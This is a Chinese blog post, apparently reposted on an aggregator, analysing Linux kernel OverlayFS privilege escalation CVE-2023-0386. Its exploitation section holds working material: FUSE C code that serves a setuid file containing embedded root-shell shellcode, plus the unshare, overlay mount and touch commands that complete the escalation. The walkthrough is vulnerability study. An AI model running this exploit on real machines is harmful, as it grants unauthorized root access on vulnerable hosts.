[漏洞分析] 用chatGPT分析CVE-2023-0386 overlay内核提权

news2024/9/26 1:21:15

文章目录

    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 补丁分析
      • 命名空间
        • 用户命名空间
      • overlay文件系统
        • 原理
        • 创建一个overlay文件系统
      • 漏洞触发逻辑
    • 漏洞利用
      • fuse文件系统
      • 漏洞利用
        • touch命令冷知识
        • exp
    • 总结
    • 参考

本文的理论知识(命名空间、overlay文件系统、fuse文件系统等)均来自chatGPT。

漏洞简介

漏洞编号: CVE-2023-0386

漏洞产品: linux kernel - overlay文件系统

影响范围: 5.11 ~ 5.19

利用条件: 可以unshar 或可以创建overlay文件系统

利用效果: 本地提权

环境搭建

自己编译内核:

准备漏洞版本范围内的,5.15版本之外的(5.15貌似有坑),开启overlay 和fuse 两个fs:

CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

ubuntu 21.10 内核版本5.13.0-16-generic实测可以完成:

在这里插入图片描述

漏洞原理

在漏洞分析之前,我们先让chatGPT cosplay一下linux内核专家:

(询问chatGPT:下面你扮演一个linux内核专家,帮助我解答一些问题)

补丁分析

漏洞的公开信息比较少,比较直接的就是漏洞的补丁信息,补丁链接如下:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

在这里插入图片描述

可以看到是在ovl_copy_up_one函数中增加了一个判断,我们先问一下chatGPT,这个函数是做什么的:

在这里插入图片描述

所以这个函数是发生在,overlay文件系统的下层文件向上层拷贝的动作中,然后我们结合上下文来看这个补丁新加的判断:

static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
			   int flags)
{
	int err;
	DEFINE_DELAYED_CALL(done);
	struct path parentpath;
	struct ovl_copy_up_ctx ctx = {
		.parent = parent,
		.dentry = dentry,
		.workdir = ovl_workdir(dentry),
	};

	if (WARN_ON(!ctx.workdir))
		return -EROFS;

	ovl_path_lower(dentry, &ctx.lowerpath);
	err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
			  STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
	if (err)
		return err;
	//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
	if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
	    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
		return -EOVERFLOW;

[1] 首先通过vfs_getattr函数获取底层文件系统目标文件的属性。vfs_getattr函数获通过传入一个文件的struct path结构来获取这个文件对应的struct stat结构

​ [1.1] ctx.lowerpath为overlay文件系统中的下层文件系统的某文件路径,overlay文件系统会在后文介绍。

​ [1.2] struct stat结构存放文件的元数据信息,包括文件的属主属组等。而获取到的文件属主信息就会在下面补丁新加的判断中进行判断。

[2] 然后调用kuid_has_mapping函数对上面刚刚获取到的文件的属主信息和属组信息进行判断。判断目标文件属主和属组是否在当前用户命名空间中有映射。

​ [2.1] kuid_has_mapping函数传入两个参数,一个struct user_namespace用户命名空间结构体和一个struct kuid内核用户结构体,该函数会判断给定的用户信息是否在给定的用户命名空间中有映射,关于命名空间中用户的映射会在下文详细介绍。

所以我们知道,现在在进行该含有漏洞函数(ovl_copy_up_one)操作的时候,如果目标下层文件的属主用户或属组用户在当前命名空间中没有映射的话,就会失败。

那么补丁原理便清楚了,但即便如此,我们还需要解决下面问题,才可完成这个漏洞的复现:

  1. 如何触发目标函数ovl_copy_up_one所在的逻辑,即overlay文件系统中下层文件向上层拷贝?
  2. 判断属主是否被映射的文件lowerpath究竟在上面逻辑链中扮演什么角色?

那么在求解这两个疑问之前,我们需要搞清楚一些基本知识:

命名空间

(询问chatGPT:请介绍一下linux内核中的命名空间)

在Linux中,命名空间(namespaces)是一种内核特性,用于实现资源隔离。通过命名空间,可以使一组进程看起来好像它们在独立的系统环境中运行,从而提高系统的安全性和可管理性。命名空间在容器技术(如Docker)中起着关键作用,它们使得容器能够在隔离的环境中运行,而不会影响其他容器或主系统。

Linux内核支持7种命名空间(mount、pid、net、ipc、user、time、cgroup),每种命名空间都隔离了一类特定的系统资源。命名空间通过一系列系统调用(如clone、**unshare**和setns)进行创建、修改和管理。容器运行时(如Docker)和其他虚拟化工具会利用这些命名空间特性,为容器提供独立、隔离的运行环境。

用户命名空间

其中漏洞补丁新增的判断函数kuid_has_mapping涉及的是上述7个命名空间中的用户命名空间(user namespace)

(询问chatGPT:请介绍一下这其中的用户命名空间)

用户命名空间(User Namespace)用于隔离用户ID(UID)和组ID(GID)。通过用户命名空间,可以在不同命名空间中使用独立的用户和组ID集合。这意味着,在一个用户命名空间中的用户和组可能在另一个命名空间中具有不同的ID或权限。用户命名空间可以提高系统的安全性和可管理性,尤其在容器化环境中。

用户命名空间的关键特性就是ID映射:用户命名空间允许将一个命名空间中的UID和GID映射到另一个命名空间中的UID和GID。这意味着,在不同的用户命名空间中,相同的UID和GID可能代表不同的用户和组。例如,一个容器中的root用户(UID 0)可能在主系统中被映射为一个非特权用户。

我们只需要记住以下几点:

  • 同一个用户(组),在不同用户命名空间中的uid(gid)不同
  • 创建新用户命名空间(做这个创建动作)的用户在新用户命名空间中是root
  • 其他用户需要手动映射到新用户空间(修改/proc/[pid]/uid_map;/proc/[pid]/gid_map),这个操作通常需要有初始命名空间中的root权限
  • 没有映射的用户会被识别为nobody

如,我使用breeze用户创建一个新的用户命名空间,然后我再该用户命名空间中查看root属主的文件,显示属组为nobody:

在这里插入图片描述

这是因为在新命名空间中,root用户是创建该命名空间的breeze用户,而初始命名空间中的root并没有被我手动映射到新命名空间中,所以在新命名空间中被识别为nobody。

所以到这里我们就知道这个补丁的意义了:**对于拷贝的目标overlay 下层文件系统的文件,必须其属主(组)用户(组)在当前命名空间中有映射,才会继续下面的拷贝动作,否则返回错误。**也就是说这种被识别为nobody的情况就会造成拷贝失败。

overlay文件系统

原理

(询问chatGPT:请介绍一下linux中的overlay文件系统)

Overlay 文件系统(又称为 OverlayFS)是一个 Linux 内核的虚拟文件系统。它允许将两个或多个已存在的目录层次结构(称为“lower”和“upper”层)合并成一个统一的视图。Overlay 文件系统在只读文件系统(如镜像)上实现写入操作的能力时非常有用,因为它可以将写操作重定向到一个叠加的可写层。这种方法在容器技术(如 Docker)中得到广泛应用,因为它提供了一种轻量级、高性能的文件系统虚拟化方案。

  1. Lower 层:这是基础文件系统层,通常是只读的。一个 Overlay 文件系统可以有一个或多个 lower 层。
  2. Upper 层:这是一个可写的文件系统层,它存储所有对 lower 层文件的更改。这包括文件修改、创建和删除操作。
  3. Workdir:这是一个与 upper 层在同一文件系统中的可写目录,用于存储一些中间数据和元数据,以支持 OverlayFS 的正常运行。
  4. Merged 层:这是一个虚拟的、合成的视图,它将 lower 层和 upper 层合并在一起。当用户访问 Overlay 文件系统时,他们看到的是这个 merged 层。在这个层中,来自 upper 层的更改会覆盖 lower 层的相应文件。对于同名文件,upper 层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。

可以用下图理解某个overlay文件系统目录的实际上下层文件对应merge层文件的效果:

在这里插入图片描述

由于上层文件系统是可写的,所以用户修改来自上层的文件时则直接修改。但如果用户想要修改下层文件系统中的文件,如上图中的file D,由于下层文件系统是只读的,则会将file D拷贝(copy up)到上层变成file D‘然后再进行修改操作,实际修改的是拷贝到上层的file D’,而下层文件系统中的file D本身不会被改变,这也是overlay文件系统中的COW(copy on write 写时复制):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c9VpDWky-1683354106054)(wp.assets/image-20230504103155100.png)]

创建一个overlay文件系统

(询问chatGPT:请给我一个创建一个简单overlay文件系统的实际操作的例子)

我们通过如下方法简单演示一下如何创建一个overlay文件系统:

首先,我们需要创建 lower1、lower2、upper 和 work 目录。这些目录将用于 Overlay 文件系统。同时,我们还需要创建一个挂载点(例如,merged)来访问合并后的视图。并向 lower1 和 lower2 目录中添加一些内容:

mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

使用 mount 命令和 -t overlay 选项来挂载 Overlay 文件系统。您需要指定 lowerdir、upperdir 和 workdir 参数,如下所示:

mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

可以在merge目录中看到来自上下层文件系统的文件:

在这里插入图片描述

我们在这个目录中无论是创建新文件、删除文件、修改文件,都只会改变上层文件系统,对下层不影响,如创建一个新文件(实际创建在了upper中):

在这里插入图片描述

修改现有文件(将文件从lower1中拷贝到upper然后修改):

在这里插入图片描述

总结一下,跟漏洞相关的逻辑就是,当我们修改一个overlay文件系统中的来自下层的文件的时候,会先将这个文件拷贝到上层文件系统,然后进行修改动作。

漏洞触发逻辑

经过上面的分析,我们基本可以复原出漏洞的全貌,如果一个overlay文件系统发生了copy up操作(尝试修改下层文件,触发下层文件向上层拷贝)的时候:

  • 补丁的逻辑:我们不能拷贝还没有在当前用户命名空间映射的用户(组)属主(组)的文件
  • 漏洞的逻辑:所有文件都可以正常拷贝,包括没有在当前用户命名空间中映射的用户属主文件。

那么问题就是,为什么拷贝没有映射的用户属主的文件就会造成问题呢?

漏洞利用

其实上面问题的答案很简单,拷贝文件并不只是拷贝文件的内容,包括文件的元数据,也就是文件的属主信息、时间戳、权限信息、还有扩展信息如capbilities等都会一起拷贝过来。引发的风险就是,如果下层文件系统是一个用户文件系统(如fuse),用户高度可控,可以自定义任何文件,但该文件系统存在限制(如nosuid),那么本漏洞就允许将下层用户自定义的suid文件从一个nosuid 文件系统拷贝到一个正常文件系统中,导致非法的suid文件获得suid特权。进而造成提权。

fuse文件系统

(询问chatGPT:请介绍一下fuse文件系统)

FUSE(Filesystem in Userspace)是一种文件系统接口,允许用户在用户空间(而非内核空间)实现和运行自定义的文件系统。FUSE 设计的目的是简化文件系统的开发和部署,同时提供良好的性能和安全性。FUSE 在 Linux 和其他类 Unix 系统(如 macOS 和 FreeBSD)上广泛使用。

其实简单的来说就是,fuse文件系统允许我们自己在用户层定义文件系统的一些回调函数(如open、write、readdir、甚至是getattr等文件元数据信息)。

下面的fuse文件系统代码(by chatGPT)既可以作为一个例子来学习,也可以用于后续的漏洞利用:

(询问chatGPT:请给我一个fuse文件系统的简单代码示例,这个文件系统中有一个hello文件,文件内容是一个"helloworld"字符串,并且这个文件是一个root属主的setuid文件)

经过简单修改(修改文件内容为后门二进制数据,修改一些文件权限设置,文件大小等):

#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //hello文件实际大小
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);//默认显示.和..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
    if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//读文件的回调函数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//只支持读hello文件
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

上述代码创建了一个fuse文件系统,但里面只有一个文件hello,其内容是一段二进制后门程序,并且它的权限是root属主的setuid文件。一共只实现了四个回调函数,只能用于最基本的查看和打开和读取hello文件。我们可以通过如下命令编译和挂载fuse文件系统:

gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

然后可以在fusefs目录中看到我们的hello文件,是一个root属主的suid文件:

在这里插入图片描述

**但是普通用户无法开启suid挂载fuse文件系统,也就是说普通用户挂载的fuse文件系统都是nosuid的。**所以现在即便执行这个suid 的后门文件,我们也无法获得root的权限:

在这里插入图片描述

漏洞利用

接下来我们用CVE-2023-0386漏洞和上述fuse文件系统来完成提权操作。

  1. 首先我们需要根据漏洞场景构造出一个overlay文件系统,使用fuse文件系统作为下层文件系统,找一个我们可写的目录作为上层文件系统,先创建出workdir等overlay相关目录,并挂载fuse文件系统

    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir #创建相关目录
    ./hellofs hello_mount_point                                     #挂载fuse文件系统
    

    在这里插入图片描述

  2. 然后创建一个新的用户命名空间和mount命名空间还有pid命名空间,因为我们接下来需要创建overlay文件系统,默认情况下我们没有mount权限,所以需要在新的命名空间中获得mount的权限。

    unshare -Urm
    

    在这里插入图片描述

  3. 创建overlay文件系统,使用上面的携带suid后门文件hello的fuse文件系统作为下层,上层就是我们可写的upper目录:

    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    在这里插入图片描述

    overlay当前效果如下图

    在这里插入图片描述

现在我们的目标就是利用漏洞,将suid后门文件从nosuid挂载的fuse文件系统中拷贝到upper文件系统中,upper文件系统是操作系统的默认文件系统,是有suid的,这个操作会将后门文件连同他的suid属性一并拷贝过来。所以我们目前需要触发overlay文件系统的copy up操作,该操作通常是在我们尝试修改下层文件时触发的,这也是我们在fuse文件系统中将hello文件权限设置为777的原因。

touch命令冷知识

其实修改文件并不只是指修改文件内容,对于文件的其他属性的修改,比如文件时间戳等,也会触发copy up操作。而touch 命令在尝试创建一个已经存在的文件的时候不会覆盖已经存在的文件,而是只修改文件的访问时间和修改时间的时间戳,而时间戳信息也算文件的attr扩展信息,该信息被修改同样会触发overlay文件系统的向上拷贝。

调用栈如下,由于修改了文件的访问和修改时间戳,在ovl_setattr中触发了向上拷贝copy up:

在这里插入图片描述

  1. 所以回到上面的操作步骤之中,我们只需要进入overlay文件系统的merge目录,使用touch修改后门文件hello的时间戳即可:

    touch overlay_mount_point/hello
    

在这里插入图片描述

然后这里已经触发了copy up:

在这里插入图片描述

我们查看上层目录即upper目录:

ls -al upperdir

在这里插入图片描述

然后退出命名空间执行upperdir/hello即可获得root shell:

在这里插入图片描述

exp

将上述操作自动化成exp代码请见:

chenaotian/CVE-2023-0386

编译与执行:

gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

总结

所以这个补丁的意义在于,如果像我们这样操作来提权的话,那么初始命名空间中的root用户必然在新用户命名空间中没有得到映射(我们也没办法映射,因为这需要特权),那么操作就会失败。而如果这个用户已经在新用户命名空间中得到映射,则认为是合法的场景。

参考

chatGPT

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/495207.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

档案馆库房环境温湿度空气质量等相关要求

档案库房防潮工作&#xff0c;就是要将库内相对湿度控制在规定的范围之内&#xff0c;这个范围就是由建设部和国家档案局共同批准颁布的强制性行业标准《档案馆建设设计规范》对档案库房的温湿度范围已作出明确的要求&#xff1a;温度14℃&#xff5e;24℃&#xff0c;湿度45%&…

深入理解Java虚拟机——垃圾回收算法

1.前言 垃圾回收需要完成的三件事 首先我们需要明白垃圾回收需要完成的三件事&#xff1a; 哪些内存需要回收 堆内存中的对象所使用的内存方法区中的废弃的常量以及不再使用的类型 什么时候回收 当对象死亡方法区中某些内容&#xff08;常量和类型&#xff09;不再被使用 如…

AI绘画天花板——Midjourney注册使用保姆级教程(5月5日验证有效)

大家好&#xff0c;我是可夫小子&#xff0c;关注AIGC、读书和自媒体。解锁更多ChatGPT、AI绘画玩法。加我&#xff0c;备注&#xff1a;aigc&#xff0c;拉你进群。 现在市面上AI绘图大概有三大阵营&#xff1a;Midjourney、Stable Diffusion&#xff0c;还有一个就是OpenAI实…

HashSet和HashMap内部结构分析

首先明确一点&#xff1a;HashSet的底层就是HashMap HashSet与HashMap的不同点&#xff1a; HashMap存储的是键值对&#xff08;也就是key-value&#xff09;&#xff0c;即在调用HashMap的put方法时传入的两个值&#xff0c;而HashSet其实也是存储的键值对&#xff0c;但是键…

TR0ll

总结&#xff1a;提权思路上&#xff0c;利用内核漏洞提权&#xff1b;找可编辑的计划任务脚本&#xff1a;反弹shell&#xff1b;创建可执行的root文件&#xff0c;获取root权限&#xff1b;写入ssh公钥。 思路&#xff1a;思路是来说就是正常的思路&#xff0c;找ip&#xf…

【c语言】字符串复制 | API仿真

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 给大家跳段街舞感谢支持&#xff01;ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ …

CentOS 7.x 安装 JDK1.8

1. JDK 下载 地址: Java Archive | Oracle 我这里选择的版本为 jdk-8u361-linux-x64.rpm 将 JDK 安装包通过 ftp 工具上传到 CentOS 系统&#xff0c;我这里使用 WinSCP 上传到 /usr/java 目录下(目录不存在的话就新建)。 2、进入 CentOS 终端&#xff0c;查看是否有默认安装…

Java简介和基础语法

文章目录 一、java简介二、Java 基础语法总结 一、java简介 通过一个简单的实例来展示 Java 编程&#xff0c;创建文件 HelloWorld.java(文件名需与类名一致), 代码如下&#xff1a; public class HelloWorld {public static void main(String[] args) {System.out.println(&q…

pycharm 安装gerrit插件

安装Gerrit File -> Settings -> Plugins&#xff0c;搜索Gerrit&#xff0c;如果没有安装&#xff0c;就选择install&#xff0c;安装完成后重启IDEA 配置Gerrit File -> Settings -> Version Control&#xff0c;输入Gerrit web-ui登录地址以及账号密码 Passow…

c#笔记-方法

方法 方法定义 方法可以将一组复杂的代码进行打包。 声明方法的语法是返回类型 方法名 括号 方法体。 void Hello1() {for (int i 0; i < 10; i){Console.WriteLine("Hello");} }调用方法 方法的主要特征就是他的括号。 调用方法的语法是方法名括号。 He…

K8S:K8S自动化运维容器化(Docker)集群程序

目录 一、K8S概述 1、什么是K8S 2、为什么要用K8S 3、作用及功能 二、K8S的特性 1、弹性伸缩 2、自我修复 3、服务发现和复制均衡 5、自动发布和回滚 6、集中化配置管理和秘钥管理 7、存储编排 8、任务批量处理运行 三、K8S的集群架构 四、K8S的核心组件 1、Mast…

Type-C接口供电小功率设备解决方案

随着Type-C接口的普及&#xff0c;全球使用Type-C接口的设备在稳步上升&#xff0c;因为它更方便&#xff0c;更安全&#xff0c;更环保&#xff0c;如今在生活中可谓是随处可见。 那么在传统的小功率设备大部分还在使用DC圆头供电&#xff0c;虽然成本很低&#xff0c;但是此类…

数字化转型利器,云表无代码“打破”工业软件开发壁垒

近年来&#xff0c;“数字化”概念成为了各行各业的“热词”&#xff0c;作为与信息化程度高度相关的工业软件&#xff0c;在数字化转型中扮演着不可或缺的角色。据 Gartner最新研究数据显示&#xff0c;目前中国工业软件市场规模已经达到了380亿美元&#xff0c;但与发达国家相…

ArcMap最短路径分析和网络数据集的构建

打断相交点 1.单击【编辑器】工具条上的编辑工具。 2.选择要在交叉点处进行分割的线要素。 3.单击【高级编辑】工具条上的打断相交线工具。 4.默认或可输入拓扑容差。 5.单击确定。 结果:所选线在相交处分割为多个新要素。“打断”操作还会移除叠置的线段-例如&#xff0…

HR如何快速提升工作效率?

从招聘到用人管理各个环节&#xff0c;人力资源部门都是公司最重要的职能部门之一&#xff0c;hr的日常工作涉及众多复杂繁琐的内容&#xff0c;比如人员招聘&#xff0c;考核培训等都离不开大量的数据整理和录入操作&#xff0c;但那些和“人”相关的数据信息&#xff0c;经常…

2023.03 青少年机器人技术等级考试理论综合试卷(四级)

2023 年 3 月青少年机器人技术等级考试理论综合试卷&#xff08;四级&#xff09; 一、单选题(共 20 题&#xff0c;共 80 分) 1. Arduino C 语言中&#xff0c;前缀 0x 表示的数制是&#xff1f;&#xff08;D &#xff09; A. 二进制 B. 八进制 C. 十进制 D. 十六进制 2. Ard…

从0学会Spring框架

文章目录 1. 对Spring的理解2. Spring IoC3. DI4. 如何创建一个Spring项目4.1 创建一个Maven项目4.2 添加Spring框架支持4.3 添加启动类 5. 存储Bean对象5.1 添加配置文件5.2 创建Bean对象5.3 注册Bean 6. 获取并使用Bean对象7. 更简单存储Bean对象的方式7.1 前置工作7.2 添加存…

VScode里的终端,Anaconda下的命令提示符和 PowerShell的联系

目录 PowerShell和CMD的区别Anaconda Prompt 和 Anaconda PowerShell Prompt取消默认激活conda中的base环境在conda里设置取消默认激活base环境在VScode里设置取消默认激活base环境手动控制进出base环境 PowerShell和CMD的区别 PowerShell和CMD都是命令行界面工具&#xff0c;…

SuperMap GIS基础产品桌面GIS FAQ集锦(2)

SuperMap GIS基础产品桌面GIS FAQ集锦&#xff08;2&#xff09; 【iDesktop】【10.2.1】【11.0.1】 请问在 iDesktop 桌面端对线数据集进行打断线操作后&#xff0c;打断的线不显示是什么原因呢&#xff1f; 【问题原因】 当时操作的线数据集空间索引存在异常&#xff0c;导致…

C++之数据对齐

数据对齐 • 总说&#xff1a; ○ 对齐方式&#xff1a;表示的是一个类型的对象存放的内存地址应满足的条件 ○ 好处&#xff1a;对齐的数据在读写上有性能优势 ○ 对于不对齐的结构体&#xff0c;编译器会自动补齐以提高CPU的寻址效率 • 数据对齐&#xff1a;(四个函数/描述符…